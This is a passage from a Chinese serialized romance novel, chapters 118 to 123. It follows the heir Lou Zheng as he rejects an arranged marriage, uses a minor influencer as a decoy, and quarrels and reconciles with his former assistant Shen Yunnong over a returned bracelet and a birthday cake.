楼铮顿了顿,看向老太太。 “上次的事,陈家确实做得不对。”老太太说,“可过去就过去了,要不是你们一直拖着不肯结婚,也不至于闹这么一出。早晚是一家人,闹得太僵也不好。” 楼铮放下筷子。 “奶奶,我不会娶陈知意的。” 第一百一十八章 楼铮色令智昏 楼老太太从来没有想过两人的婚事会生变。 在老太太眼里,楼铮做事最会权衡利弊,总能在关键时刻做出最有利的选择。海市没有比陈知意更合适的姑娘,娶了她,两家能利益最大化。 更何况,这桩婚事两家是从小说到大的,也从没见他反对过,怎么今天他会拒绝得如此直接。 楼老太太怔了一下,才道:“还因为下药的事生气呢?陈家被卡了好几个项目,你也该消气了。有了这一回,他们以后都不敢了。” 楼铮八风不动:“不只是下药的事。” 他拿出另一部手机,翻出了几份资料给老太太看,是他拿到的陈氏的真实数据报表。 “陈家这几年的项目都在这儿了。仅有的这几个撑面子吃饭的项目,剩下的,大多数都是靠楼家的脸拿下的。既然说了共栖,我不介意让陈兴邦打着楼家的旗号接项目,但总不能全靠楼家吧,那不叫共栖,那叫吸血。” 楼铮缓缓道,“奶奶您看,陈氏这几年的数据,一点成长都没有,一直在吃老底,今年他们还把销售部门的一个销冠给优化了,那个销冠直接跳槽去了聚变,撬走了陈氏好几个项目。海油隧道原本是板上钉钉的,我们主动退出,放给陈兴邦去投标,都能被他搞砸。陈氏走下坡路是早晚的事,甚至用不了三五年,奶奶可以半年后看看。” 楼老太太了解楼铮,楼铮也懂老太太。 跟她谈,不提儿女情长,喜欢不喜欢的,这些都不重要。 他提陈氏跟不上楼氏的脚步,让老太太自己去权衡。 果然,老太太的神色变得凝重起来。 老太太认真看了一下陈氏的报表,发现陈氏就差把“虚假繁荣”这四个字写脸上了。 “陈兴邦年轻的时候也有几分本事,怎么现在就等坐吃山空了。”老太太皱眉。 楼铮笑:“还不是等着我这个未来女婿当冤大头兜底呢。” 老太太良久没有说话。 前两天陈知意来看她,一边讨好卖乖了一番,一边话里话外说楼铮为了他那个助理有多上心。 因为之前下药的事,老太太对她也有几分冷淡,一句“男人结婚前就这样,收了心就好了”把陈知意打发走了。 今天主动提婚事,也是想探探楼铮的口风,没想到还意外收获。 难怪陈家草木皆兵,连下药这种腌臜手段都使出来了,合着等着楼家救命呢。 老太太一时间对这段婚事的心思也淡了。 不过,比较一番海市这些世家,陈家还算好的,瘦死的骆驼比马大,即便陈家不思进取,陈知意到底也是自己从小看着长大的,比其他的世家小姐要强些。 老太太嘴上不说话,心里也有点进退两难的意思。 良久,她问:“那婚事暂且放放,听说你跟那个叫沈韫浓的小助理打得火热,有这事吗?” 楼铮余光落在那条东星斑上,在心里记了陈知意一笔。 他佯装惊讶:“什么意思,什么叫我跟沈助理打得火热?陈知意是这么跟您告我黑状的?” 楼老太太:“你追人家都追到澳城去了,还用知意来说?” 楼铮无奈地笑了笑:“奶奶,巧合罢了。我去澳城是为了姑姑。您又不是不知道,贺家那个私生子,最近风头正盛,姑姑头疼得要命。您要说我追沈韫浓去的,那她在澳城还替贺韶瑭挡了一刀呢,贺韶瑭不是更有嫌疑? 再说,沈韫浓都离职了,我要是看上了,能放她走?” 一顿饭吃下来,楼老太太踏实了。 比起陈知意,老太太自然更相信自己的宝贝孙子,再结合楼铮给的不能和陈家联姻的理由,她就更笃定了:楼铮脑子清楚,做事会分析利弊,绝不会被一个女人迷惑,色令智昏。 殊不知,楼铮何止色令智昏,脑子都转得冒起了火星子。 他坚定一点:在没有完全把握之前,绝对不能让沈韫浓被老太太盯上。 知道他喜欢她的人越多,沈韫浓越危险。 楼铮坐在沙发上,若有所思地翻着手机通讯录。 ——找谁呢? 偏巧这时候,一个被他屏蔽了很久的微信群里突然蹦出一个@全体的消息。 宋悠悠:【我后天在云顶酒店办生日宴,大家有空来啊。】 楼铮平时对女人过目就忘,宋悠悠倒是例外。 他跟沈韫浓第一次见面的时候,这个女人就被沈韫浓泼了一身污水。 楼铮舌尖抵着腮肉,回想起沈韫浓那副小狐狸的表情,眼睛里都是笑意,嘴角止不住的往上扬。 他指尖在手机上点了两下。 就她了,当是替小狐狸出口气。 这群里都是海市的一群富二代,楼铮很早就被拉进去了,但从没说过话。其他人倒是挺活跃的,宋悠悠发了生日邀请之后,底下不少人纷纷排队回了个“去”。 楼铮也跟着发了一个:【去】 然后过了有四五秒的停顿,群里就跟刷起了一排:【?】 终于有人鼓足勇气发了一句:【楼小爷?被盗号了?】 楼铮没有再回消息。 不多久,一个陌生电话打了进来。 “楼小爷,您还记得我吗?我是宋悠悠。”对方在电话里自我介绍。 “当然,宋家的千金。”楼铮淡声道,然后在脑子里想,宋家的公司叫什么来着。 “那个,您在群里发的,会来我生日宴的事,是真的吗?”宋悠悠语气殷切,带着怕被他拒绝的紧张。 楼铮勾唇:“当然。对了,生日礼物你想要什么,包怎么样?” 宋悠悠声音已经颤抖:“都……都可以,楼小爷您能来,就是我收到的最好的礼物了!” 楼铮“嗯”了一声挂了。 生日宴当晚,楼铮拉着周彦一起去了。 去年,宋悠悠已经通过恋综和资本运作出道,现在算是个小有名气的三线小网红了,她的生日宴来了不少人,记者媒体也有几十家。 楼铮的现身引起了不小的轰动,很多人议论纷纷。 “难怪说宋悠悠背后有资本,资本竟然是楼铮?” “我天,他俩肯定有事,你看拍照的时候,宋悠悠都快贴楼铮身上去了。” 宋悠悠天生的性缘脑,她以为楼铮肯来自己的生日宴一定是发现了她的美貌和魅力。 没准……她能挤掉陈知意呢? 想到这里,她偷偷地看了楼铮一眼,恰好楼铮也在看她。 两人对视间,宋悠悠已经连自己嫁入楼家以后生几个孩子都想好了。 周彦看着宋悠悠一副沉浸在幸福中的模样,已经在心里给她献上了一束菊花。 他手肘顶了顶楼铮,低声骂了他一句“渣男”。 楼铮耸了耸肩,毫不在意:“我可什么都没做,只是正常参加了一个宴会而已。上回我们出海去,这位宋小姐‘不小心’迷路到我房间了,我客客气气把她请出去了,都没碰她,怎么能算渣男呢。” 这女人可不是什么好东西,还欺负过沈韫浓呢——他一点心理负担都没有。 林贞有宋悠悠朋友圈,当晚就看到了她生日会的内容。 拿了手机给沈韫浓看。 文案是:“22岁,感恩你在身边。” 配图有九张跟不同朋友的合影,她跟楼铮的那张在正中间。 第一百一十九章 陈知意吃醋 林贞无情吐槽:“就冲着朋友圈文案,不知道,还以为是官宣。” 沈韫浓接过手机,把正中间那张宋悠悠和楼铮的合影放大看了一下,又把手机还给林贞。 “楼铮跟她关系那么好呢?”林贞问。 沈韫浓摇头:“不清楚。” 但她想起了他们游轮出海的那一晚,宋悠悠是进了楼铮房间的,但他们应该没有发生什么,毕竟,很快楼铮和周彦便拉着她去喝酒了。 思绪飘走又迅速收回,林贞在一旁观察她的反应:“你不吃醋?” 沈韫浓笑:“哪里轮得到我吃醋?宋悠悠敢这么发朋友圈,陈知意第一个不放过她。” 林贞锐评:“要不说宋悠悠脑子蠢,吃偷来的肉还吧唧嘴。” 这事,沈韫浓稍稍过了过心,也就放下了。 她自认看人还算准,不觉得楼铮会看上宋悠悠那么肤浅的女人,更大的可能性是,有什么事用得着宋悠悠,才突然走近。 另外,即便两人是真的有什么,也轮不到她来指摘,是她自己不肯给楼铮做情人,总不能还管他去找谁。 沈韫浓不在意,但陈知意可不行。 她跟宋悠悠没有朋友圈,可圈子就这么大点,楼铮去参加宋悠悠生日宴的事,很快就传到了陈知意耳朵里。 传话的人也没安好心,自然说得更夸张。 “知意,一看就是宋悠悠勾引楼小爷。你不知道她那个狐媚子劲儿,恶心死了。”那人说,还把宋悠悠的朋友圈截图给陈知意看。 陈知意自从跟楼铮有“婚约”以来,铲除了不少楼铮身边的狂蜂浪蝶。 可这些女人惦记楼铮都是暗戳戳的,像宋悠悠这种恨不得告诉全世界自己要挖陈知意墙角的是第一个。 看着传话那人发来的截图和网上一些宋悠悠生日会的切片,陈知意气得大半夜没睡着。 她胡思乱想,想了太多东西,自然也想到了宋悠悠只是楼铮被拿来转移她注意力的可能性。 可在天快亮时又反驳了自己。 她跟楼铮怎么说也算是青梅竹马一起长大的,从没见过楼铮为人花心思,沈韫浓顶多就是长得好看,值得楼铮这么用心吗? 不可能! 楼铮这样的人,不会对任何人用那么深的情,如果可以,她在他身边徐徐图之了这么多年,早就把人拿下了。 所以……楼铮真是突然看宋悠悠顺眼了? 陈知意一夜没睡,到天亮时终于压下了脾气。 她决定先按兵不动,毕竟小七月的事她给楼铮落下了口实,沈韫浓的事又过去没多久,这次还是不能太冲动,她且等等看。 陈知意愿意忍一时,可宋悠悠偏要作死。 楼铮的突然垂青,好似给宋悠悠镀了一层金。 她在好几天时间里都觉得自己像是做梦,整个人晕陶陶的。 一场生日会,加到了楼铮的私人微信不说,还得到了不少通告邀约。 无数的节目组都嗅到了她的商业价值,开始给她提价。 连她的粉丝都在评论和超话里说:【悠悠,收拾收拾准备升咖了】 宋悠悠心花怒放,得意忘形。 她有限的脑容量判断看不到背后的危机,只能看到无限的商业价值,而她的经纪公司自然也是一样—— 毕竟,即便这件事有风险也是艺人自己的,好处可是大家的。 宋悠悠和经纪公司一拍即合,决定利用好楼铮这波流量。 于是,她又在微博和朋友圈发了几次暧昧不清的动态。 配图多是生日会的图片或者自拍。 起初,她还心怀忐忑,怕楼铮不高兴,后来发现不仅楼铮没说什么,还给其中一条点了赞。 宋悠悠激动地猛掐自己大腿里子,生怕自己在做梦。 楼铮和宋悠悠暧昧的事,知道的人越来越多。 连楼家都知道了。 楼老太太一贯不闻不问,宋家在海市只是一个暴发户,宋悠悠也就一个小网红而已,还能反了天?但她对沈韫浓更加放下心来。 但苏娅转了好几次营销号消息到陈知意的微信:“你防阿铮的前助理跟防贼似的,怎么,到了这种有实锤的又不管了?” 无非是阴阳她欺软怕硬。 陈知意气得肺都快炸了。 她当机立断,这次,决定哪怕是错杀也绝不能放过。 这样想着,陈知意翻了翻通讯录,打了个电话出去。 …… 这些事情,沈韫浓统统不知道,她眼下的当务之急是找工作。 她又开始海投简历了,一忙起来,连还给楼铮手链的事都抛到了脑后。 没过几天,一个公司给她打电话,向她发出了面试邀请。 这个公司叫聚变能源,本部在北城,海市这里的分公司是刚开的。 沈韫浓投了太多简历,人都麻了,她甚至不记得自己投了这么一家。 于是,在去之前,她详细了解了这家公司的情况。 北城能源行业的龙头企业,业务范围跟楼氏有重合的部分,对她来说不算陌生领域。 聚变的员工待遇很好,六险二金,据说给的工资也是同行业最高。 之前找工作一直在碰壁,沈韫浓很珍惜这次的机会。 面试当天,她穿了最正式的西装,准备的内容也很精心。 对方的HR热情地接待了她。 意外的是,那位HR全程礼貌客气,没有任何疑问,在沈韫浓讲自己的工作经历和期待薪酬时连连点头。 之后,迅速拍板:“你非常符合我们公司对岗位的要求,下周一过来入职怎么样?” 甚至没有二面,没有问她为什么不在上一家公司做了,也没有借机套话问楼氏的经营模式,管理思路。 经历了之前无数次困难模式的面试,聚变痛快得让沈韫浓害怕。 她直觉这是个坑,心说该不会招聘是假,拐卖是真吧?万一她周一过来被弄进传销窝点,想逃都逃不掉。 这样想着,沈韫浓反而犹豫了。 她没有把话说满:“不好意思,我还是回去先考虑一下,毕竟面试也是一个双方互相考察的机会。” 对方一见她这个态度,有点慌了,见她起身,也跟着站起身来。 “您是觉得哪里不满意吗?薪资待遇还可以再谈。” 这话说的让沈韫浓更没底。 她一个应届毕业生,又不是什么行业顶尖人才,这位HR求贤若渴的样子,实在蹊跷。 “不是待遇的问题,毕竟我对能源行业也不是太了解,这样,我先回去考虑考虑吧。”她说。 第一百二十章 新欢旧爱 沈韫浓拿了包,不顾HR挽留,果断闪人。 她一走,霍司岐从接待室里面的小隔间里出来。 HR一脸挫败,对霍司岐尴尬笑道:“霍总,我看这位沈小姐是有更好的选择,我把待遇说这么好了,她也不松口……” 把沈韫浓招进公司,是霍司岐派给HR的任务,为了在老板面前表现自己,HR简直拼了老命。 本以为这样好的条件,沈韫浓一定会马上答应,谁知,她竟然这么不给面子。 霍司岐打量面前的HR,露出看智障的表情:“就你那个话术,跟诈骗一样,沈韫浓要是能来才有鬼。” “那……这……”HR急得汗都下来了。 霍司岐无奈,给楼铮打电话说明了一下情况。 楼铮在电话那头冷笑:“招个人都招不明白?我看这分公司想干下去也难。” 霍司岐被楼铮噎得说不出话,狠狠瞪了HR一眼。 沈韫浓回去后,自然又跟林贞吐槽了一下自己的奇葩面试经历。 林贞也跟着无语:“听着确实是像诈骗啊,不去就对了。” 又说,“实在不行,你去我们家上班吧。让我哥给你安排个岗位。” 沈韫浓想了想,还是拒绝了。 她在林氏上班,做的好还行,做的不好,打的是林贞的脸。林贞还要靠家里和林越养着,还是不要给她添麻烦。 不过,林贞的话提醒了沈韫浓。 她突然觉得自己的求职也可以从身边人试试。 好在她在楼氏工作的这几个月,也积攒了一点人脉。 这样想着,沈韫浓干脆发了个朋友圈。 她简单介绍了一下自己的情况:国内顶尖大学经济管理专业毕业,会三国语言,求职一份助理或翻译工作。 朋友圈一发,马上有几个人主动联系她。 都不太适合,沈韫浓聊了几句便婉拒了。 没想到,最合适的是郭睿。 他看到朋友圈,马上发了自己公司的电子宣传册给沈韫浓,问她愿不愿意跟自己共事,开出的待遇也很诱人。 沈韫浓一目十行扫了一眼郭睿的宣传册,他们公司叫阿波罗,居然主做能源中转业务的,通俗的来说,就是楼氏和聚变等同类型企业的服务商。 难怪他知道楼铮。 沈韫浓去了阿波罗跟郭睿详谈,这事很顺利地定了下来。 她成了郭睿的助理兼翻译。 因为阿波罗是小精尖企业,郭睿就她一个助理,相对来说,她的工作量也比较大,好在给的也多。 沈韫浓不怕压力,对她来说,有钱赚就是好工作。 跟郭睿聊完,彼此没什么疑议,直接约好了下周一入职。 时间还早,郭睿约她一起吃个饭。 沈韫浓想了想,也是个互相了解沟通工作的机会。 便说:“之前你也没什么机会吃地道中餐,我请你吃海市的本帮菜吧。” 郭睿笑:“那好,你请客,我买单。” 一个月不见,他中文倒是进步飞快,已经能说出这么流畅的句子。 沈韫浓找了家相对高档的餐厅,两人就坐在大厅卡座吃。 饭吃到一半,一个五彩斑斓的身影走了过来,是宋悠悠。 倒也不是沈韫浓非要注意她,而是,她那个架势很难不让人注意。 在室内戴帽子口罩墨镜,身后跟着两个小跟班,一副生怕谁冲过来骚扰她的样子。 认识的,知道的是一个三线网红来吃饭,不知道的,还以为是什么顶流出街。 沈韫浓已经听到了邻座的讨论—— “那是女明星吗?” “不是吧,不过有点眼熟。” “我知道,是太子爷的新宠宋悠悠。” 宋悠悠迈着春风得意的步伐进了一层的包间,显然已经有人在等她了。 “新宠”两个字有点刺耳,沈韫浓这个无人知道的“旧宠”垂下眼去。 郭睿不喜欢女人也不懂女人,愣是没看出她细微的情绪波动。 两人吃饭聊了聊以后共事的细节,沈韫浓拉回自己的思绪。 在一顿饭快吃完时,突然餐厅一阵骚动。 是楼铮带着一群黑西装的保镖进来,往一层的包间走。 然后,整个餐厅的前后门就被封起来了。 没有人知道发生了什么,众人先是恐慌,慌乱过后发现与自己无关,又都平静下来,开始吃瓜。 也就十几分钟的样子,楼铮的手下从包间里拖着一个肥头大耳的男人出来,身后,还有几个那男人的跟班。 宋悠悠是被其中一个保镖抱出来的,她已经昏迷,应该是被下了药。 无数双眼睛朝他们看,无数人举起了手机。 “电影中的英雄救美,今天可是见着了。” “楼铮和宋悠悠是真的吧?” “哇,突然觉得很浪漫是怎么回事。” 这个时候,沈韫浓也不想做个异类,她放下筷子,跟那些人一起围观。 楼铮五感惊人,来的时候应该已经看到了她。 走的时候又从她身边过去。 两人的视线交汇。 谁也没跟彼此打招呼。 楼铮是因为心虚—— 他知道自己做这些事的明确动机是什么,可被沈韫浓看到,就是觉得心虚,出来鬼混被老婆抓包的即视感。 而沈韫浓是觉得楼铮还在为那天她“提裤子不认人”的事生气。 她突然有了一个猜想:宋悠悠是楼铮对她的“警告”,告诉她,她不愿意屈服,给他做情人,有的是人愿意。 他可以宠她,保护她,也可以宠别人。 倒也不是沈韫浓小瞧宋悠悠,实在是相处了几个月,她摸清了楼铮的脾气和口味。 她觉得楼铮不至于这么没品。 选宋悠悠,还不如陈知意呢,至少陈知意有脑子。 如果这个时候,她肯回头去哄楼铮,是一定能哄回来的。 可哄回来之后呢?给他做情人吗? 算了吧。 看着楼铮带着一种人马扬长而去,沈韫浓的心蒙上了厚厚的一层灰,不清亮。 她觉得,自己跟楼铮也该彻底画上一个句号了。 沈韫浓想起了那条手链,得抓紧还了。 第一百二十一章 驯楼铮和驯狗 宋悠悠是在医院醒来的。 她先是看自己身上的衣服,没有被动过的痕迹,都穿得好好的。 又环顾四周,发现不远处的沙发上坐着一个鼻梁上有道疤的男人。 “你是楼小爷的人吗?”她试探着问陆枭。 得到肯定的答案后,宋悠悠整个人放松下来。 晕倒前的一幕浮上心头:那个号称要给她投资电视剧的煤老板在她的酒里下了药,发现不对时,她的助理和保镖已经被支走了。 宋悠悠在那时候陷入了恐慌里,也不知哪根弦没搭对,第一反应居然是给楼铮打电话,可刚把电话拨出去,就渐渐失去了意识。 在完全昏迷前,她觉得自己貌似看到了楼铮的脸。 没想到真的是楼铮,楼铮居然会真的来救她…… 宋悠悠心脏狂跳,坐起身来,激动地声音都变了调:“所以,真的是楼小爷救了我!我要见他!” 楼铮放下手头的事情,立刻过来救她,一定是喜欢她。宋悠悠觉得,自己已经不是一厢情愿的猜想了,楼铮喜欢她,她是真的有了嫁入楼家的机会! 她激动得整个人都在发抖。 看着眼前喜形于色的女人,陆枭在心里直皱眉。 他实在理解不了自家老板这一出是为了什么。 要说喜欢这个小网红吧,应该不至于。毕竟,小网红比起沈助理简直不是差了一个段位,老板没那么low。 可说不喜欢吧,最近又突然走这么近,还大张旗鼓地派人保护她。 陆枭面上客气,心里却越发瞧不上宋悠悠,沈助理可是跟老板同生共死过,都没这么上不了台面的样子。 “我们老板说,您人没事了就好。他今天有点事,就不在医院陪您了。”陆枭道。 宋悠悠要是个知进退的,听说陆枭这么说,怎么也会考虑一下这个时候打电话是否合适。 可她实在是上头到得意忘形,已经以“楼太太”自居了,陆枭在她眼里,就是个下人,哪有主人听下人话的,于是第一时间给楼铮拨了电话。 楼铮自然是不会接的,宋悠悠打了三遍没人接听,才只能作罢。 深夜,琼林宴会所。 桌子上东倒西歪的全是空酒瓶,楼铮没骨头似的靠坐在沙发上喝酒,还没醉,但神色恹恹的,一句话都不说。 一旁的周彦和霍司岐小心翼翼地互相使着眼色。 “他怎么回事?”霍司岐悄悄给周彦发微信。 “我猜是今天去‘英雄救美’宋悠悠,正巧被沈韫浓撞见,弄巧成拙了,心情不好。”周彦回。 又道,“好死不死,沈韫浓又在跟那个法国混血儿一起吃饭,他出来就疯了。” 霍司岐发了个老郭【嚯!】的表情包,神情严肃起来,也觉得这事有点棘手。 气压低得吓人,两人都想宽慰楼铮两句,谁也不敢起头儿。 楼铮已经看了好几次手机了,他在等沈韫浓微信。 这事在楼铮看来,沈韫浓要是发微信问问,起码证明她在意,他也有解释的机会。不问,他总不好巴巴地贴上去,腆着脸主动解释。 而且,她和郭睿怎么回事,他还没问呢! 可等了两个多小时,手机一点反应都没有。 不对,也不能说没反应,宋悠悠给他打电话的时候响过。 见了鬼了,该打电话的那个不打,不该打的瞎打! 楼铮赌气,把手机息屏,反扣在桌上。 又过了半个多小时,手机终于响起。不只楼铮,周彦和霍司岐更是几乎同时松了口气。 谁知,楼铮接看了一眼屏幕,接起来,语气更加不豫:“陆枭,说。” 两人扶额。 陆枭刚从宋悠悠病房出来,也听出了楼铮的不痛快,飞快说:“老板,宋悠悠已经送去医院了,没什么大碍。那个男的是个外地的煤老板,平时也玩得挺花的,但他盯上宋悠悠,应该是有人牵线搭桥,需要去查那个人吗?” 楼铮淡淡:“知道了,不用查。” 总归除了陈知意也不会有别人,不是陈知意,也要按在陈知意头上。 说完,楼铮就把电话挂了。 霍司岐和周彦互相给对方递眼色。 楼铮自然没错过两人的挤眉弄眼。 他把腿架在茶几上,给自己点了根烟,皱眉道:“想说什么就说。” 周彦推一把霍司岐。 霍司岐干咳一声先开口:“我觉得吧,你家沈韫浓那么聪明,今天的事不见得会误会。 而且,后来聚变这边的HR又给她打了电话,她说已经找到工作了,说不定就在那个假洋鬼子的公司呢,两人应该就是谈工作的事。” 楼铮没作声,但显然听进心里去了,尤其是“你家”两个字,让他心里舒服了不少。 周彦在旁边看着,知道霍司岐这话对症,也道:“我跟郭睿应该有共同朋友,我打听一下。” 一边说一边直接拨了个电话出去。 那边的人说自己也不清楚,让周彦稍等。 大约过了10分钟的样子,电话拨回来,周彦得到了肯定答案。 “我就说嘛。”周彦身心都跟着轻松下来,对楼铮道,“现在当务之急,是想想咱们跟那个假洋鬼子有没有业务重叠的部分。” 说话间,霍司岐用企业查询软件查了下郭睿的公司。 霍司岐一惊一乍:“姓郭的居然是咱们的下游服务商。” 周彦:“这小子命真好,给他点单子,不愁沈助理不给咱们好脸色。” 两人一唱一和,楼铮垂着眼吐了口烟圈,没接话茬。 但他神色明显好了。 也是在这个时候,沈韫浓的微信发了过来。 “明天在公司吗?”她问。 楼铮看一眼,脸上的冰山彻底融了。 他故意把手机扔在一旁,等了五分钟才拿起来回复:“有事?” 沈韫浓:“的确有点事找你,不耽误你太久,10分钟。” 楼铮强烈克制闲聊的冲动:“我9点在办公室。” 那边回了个【OK】的表情,没有再说什么。 楼铮的嘴角一压再压,还是忍不住飞扬了起来。 她一定是今天撞见自己去保护宋悠悠吃醋了。 吃醋好说,他可以哄。 不怕吃醋,最怕的就是她直接无视,不往心里去。 这样想着,楼铮把杯中酒喝完,起身。 “走了,回家了。”他说。 周彦和霍司岐异口同声:“不喝了?” “不喝了,喝多了明天不好哄老婆。” 周彦:“……” 霍司岐:“……” 看着楼铮的背影,两人无语到不想说话。 良久,霍司岐才开口:“你有没有觉得,沈助理驯咱楼小爷,跟驯狗一样?” 周彦摇头:“不一样。驯狗至少要拿根骨头吊着,驯楼铮不用。” 第一百二十二章 还手链 楼铮这边心思百转,沈韫浓却根本没想那么多。 她晚上回去后,甚至没跟林贞吐槽这件事。 因为沈韫浓觉得楼铮这么做一定有他的目的,再者说,楼铮又不是她男朋友,他有跟任何人在一起的自由。 她总不能既不给他做情人,又不许他接近别人。 原本那条手链是想托潘琳转交的,思来想去,又觉得这么贵重的东西还是自己直接还更好,便发了那条微信。 一夜无梦。 第二天,在前台的带领下,沈韫浓走进了楼铮的办公室。 离职一个多月,如今再回到楼氏,竟然有几分亲切,一路上都在跟前同事打招呼。 楼铮穿得很骚。 白色真丝衬衫敞着两颗扣子,脖子上一条细细的银色钻石项链跟左耳上的耳钉相得益彰。 再往下,锁骨上有个褪成青黄色的瘢痕,是那天晚上她的杰作。 沈韫浓迅速别开眼,耳朵变红。 楼铮看在眼里,心中暗爽,交叠着腿坐在沙发上不动声色。 三助送咖啡进来,还端了沈韫浓爱吃的小点心。 本以为是三助的一点小“偏爱”,沈韫浓刚要道谢,这才发现,三助神情错愕:“韫浓,居然是你来了。” 楼铮一早上就跟他们打招呼说要来个重要的客人,嫌公司的咖啡机做出来的太一般,特地让她出去买了最好的拿铁,又排队买了这家小点心。 这是怎么回事? 三助也知道楼铮跟宋悠悠打得火热的事,倒是没往别的方面想。 她猜,可能是沈韫浓跳到了客户的公司,楼铮恰好用得着她。 “好久不见。”沈韫浓跟三助微笑着打招呼,目送她离开。 这才从自己包里拿了个盒子出来,双手捧着送到楼铮面前。 这个盒子,楼铮可太认识了。 期待了一夜的滚烫的心,像是被扔到了冷水盆里,淬得一个激灵。 楼铮强压火气,让自己不要看上去太暴躁,像个情绪不稳定的毛头小子。 “你这是什么意思?” 沈韫浓静静看着他的眼睛,带了点若有似无的微笑,客气极了:“之前不知道这条手链那样贵重,贸然收了。现在知道了,物归原主。” 楼铮皱眉,他盯着沈韫浓那张无懈可击的脸,绞尽脑汁也想不出来,这样软的一张脸,为什么会有那样硬的心肠。 是因为昨天看到他保护宋悠悠吗? 如果是这样,她难道不该跟他闹脾气,让他哄?直接过来还东西是什么意思? 杀人犯还有为自己辩解的机会呢!她凭什么一上来就给他判死刑! 楼铮一双眸子沉沉地睨着她:“送人的东西收回来,沈韫浓,你瞧不起谁呢?” 他语气很不善,每个毛孔都在的叫嚣着“哄我”。 沈韫浓能看出来,却不能哄。 来割席,就要拿出个姿态来。 “不是这样的,楼总。都说德不配位,必有灾殃。这条手链跟我的生活不匹配,我拿着只觉得烫手。” 沈韫浓用十足的耐心跟他解释,丝毫不带个人情绪。 “你送我手链是看得起我,但我不能因此觉得自己配得上。” 这话听在楼铮耳内就是借物喻人。 “我说你配得上,你当然配得上。”他尽可能好声好气,不跟她吵。 快问,沈韫浓,快问我宋悠悠的事。 问了,他有台阶,也好解释。 沈韫浓不问,他总不好上赶着说。 楼铮憋得抓心挠肝。 偏偏沈韫浓也不知是天生迟钝,还是漠不关心。 “你帮过我这么多,已经很感谢了,东西我真的不能要。”她说。 说完,怕跟楼铮扯皮,干脆直接把盒子留在茶几上,站起身来。 “我来也没别的事,就不打扰了。” 话音未落,沈韫浓已经被楼铮一扯,跌坐到他怀里。 沈韫浓挣扎,却被楼铮牢牢禁锢。 他结实的手臂像两条铁索,让她脱不开身。 “你是不是因为宋悠悠跟我闹脾气?我可以解释。” 楼铮的声音很沉,强压火气。沈韫浓不给梯子,他自备,再不说,他怕自己肺憋炸了。 可沈韫浓摇头:“那是你的私事,原本就不用跟我解释。” “你不吃醋?”问这话,楼铮都觉得自己卑微。 他想给自己一巴掌。 可怄死他吧。 沈韫浓:“跟我没关系,我有什么可吃醋的。” 好,非常好。 是他贱。 楼铮气得五脏六腑都在疼,他松手,任凭沈韫浓脱身。 “我送人的东西没有收回的,你不要就扔大街上去,看看有没有人愿意撅着屁股捡。”他扳着一张脸说,拿了那个盒子就要丢到沈韫浓怀里。 氛围一触即发,恰好此时,潘琳敲门,像是有工作要汇报。 她站在门口,看楼铮和沈韫浓的脸色,没有马上进来。 “有事?”楼铮问。 “老板,刚才夫人打电话要您晚上回去吃饭,给您过生日。”潘琳说。 楼铮情绪不高:“知道了。” 沈韫浓一怔。 直到潘琳离开,办公室门再度合上,沈韫浓才问:“你……生日?” 楼铮看出了她眼底的尴尬。 他抬了下眉头:“嗯。还要谢谢你,生日当天送了我一份‘大礼’。” 后面两个字咬的很重,尤其阴阳怪气。 一时间,沈韫浓心里五味杂陈。 她有点后悔刚才那个态度。 毕竟楼铮对她那么好,生日一年只有一次,她实在不该在他生日这天过来给他添堵。 “生日快乐,抱歉,我不该今天说这些。” “沈韫浓,我一周前刚救了你的命,救命恩人过生日,说句吉祥话就完了?”楼铮显然不满意。 好像那天晚上信誓旦旦,绝不挟恩图报的另有其人一般。 沈韫浓:“那你想要什么?” 楼铮:“中午请我吃饭,还要亲手做个生日蛋糕。” 倒不算个过分的要求。 “好,那我现在去做。”沈韫浓答应的痛快。 楼铮:“你去西子路,让那边的烘焙师教你。别想买成品糊弄我。” ……他怎么知道自己要买现成的? 心思被戳穿,沈韫浓很尴尬。 “这点信任都没有吗?真是的。”她出门走了。 看着沈韫浓离开的背影,勉强扳回一城的楼铮这才缓和了神色。 今天不是他生日,他的生日还有一周。 不过是苏娅等不到那天就想回去给楼展陪读,所以给他提前过而已。 这些年都是这样,苏娅眼里只有楼展,被母亲漠视的感觉,楼铮已经习惯了。 但沈韫浓听到他生日时那个复杂的神情,是心里有他的吧? *** (作者:感谢各位读者小宝一路以来的支持,方便的话大家帮帮做做数据,你们的每条评论和每个催更对小透明作者都很重要,谢谢) 第一百二十三章 更喜欢她在别处叫 沈韫浓人聪明,但手残。 在她眼里,楼铮要吃她亲手做的蛋糕,简直是自己找罪受。 因为楼铮提前打过招呼,沈韫浓到西点店时,烘焙师已经在等她了。 烘焙师一见沈韫浓便信誓旦旦:“沈小姐,您放心。我一定教您做出最满意的蛋糕,让小爷开心。” 沈韫浓笑得很心虚:“谢谢,但您还是不要对我抱有太高期待。” 起初烘焙师没有理解这句话的含金量,直到沈韫浓一连烤出了4盘共计24个坍塌的蛋糕胚后,才对这句话有了实感。 眼看快到了中午,沈韫浓和楼铮约好的吃饭时间只差不到一个小时,她实在做不出来了,哭丧着脸看烘焙师。 烘焙师这才不得不放水,几乎全程代劳,替沈韫浓搞了个还像那么回事的圆柱蛋糕胚出来。 接下来的环节,抹奶油,裱花,沈韫浓自己做。 怎么说呢……如果做蛋糕是盖房子,那沈韫浓就是在建豆腐渣工程。 字面意思,一边做一边掉渣。 烘焙师在一旁看得胆战心惊。 不管怎样,蛋糕倒也糊弄出来了。 直到整体都大概齐做好后,她又用果酱写了生日快乐的字样,把蛋糕装进盒子,烘焙师才都跟着松了口气。 中午,沈韫浓跟楼铮约在了海市CBD的一家高档西餐厅里。 这次她诚心诚意要请客,为了以防再出现刷楼铮会员卡的情况,甚至在中途借着去洗手间的名义,去前台买了单。 花了一万块,这个数的餐标对楼铮来说是中等偏下消费,对沈韫浓来说,是巨资。 这顿饭两人吃的还算开心—— 如果楼铮不坚持让她唱生日歌的话。 吃饭时,沈韫浓将那个蛋糕从盒子里端出来摆在桌上。 看楼铮憋笑,她心里大囧,面上不动声色:“第一次做,你担待下。” 楼铮看她,一脸促狭:“现在承认是第一次啦?打高尔夫那次,还拿我店里的蛋糕骗楼凤栖。” 旧事重提,沈韫浓的尴尬加剧。 “那时候实在太想往上爬,扳倒沈英耀了。也是没有别的办法。”她干脆坦诚。 “那现在扳倒了,开心吗?”楼铮问。 沈韫浓点头:“当然了,像心里有一块大石头落地,身心都轻松了。” 说完,又赶忙举杯敬楼铮:“这件事还是多亏了你。没有你,我怕是还要折腾个十年八年。” 她欠楼铮太多,这顿饭实在该请。 楼铮挑眉,不置可否。 面前的沈韫浓,看上去可比蛋糕美味多了。 每次看到她,他都要被满心的爱意和情潮淹没。 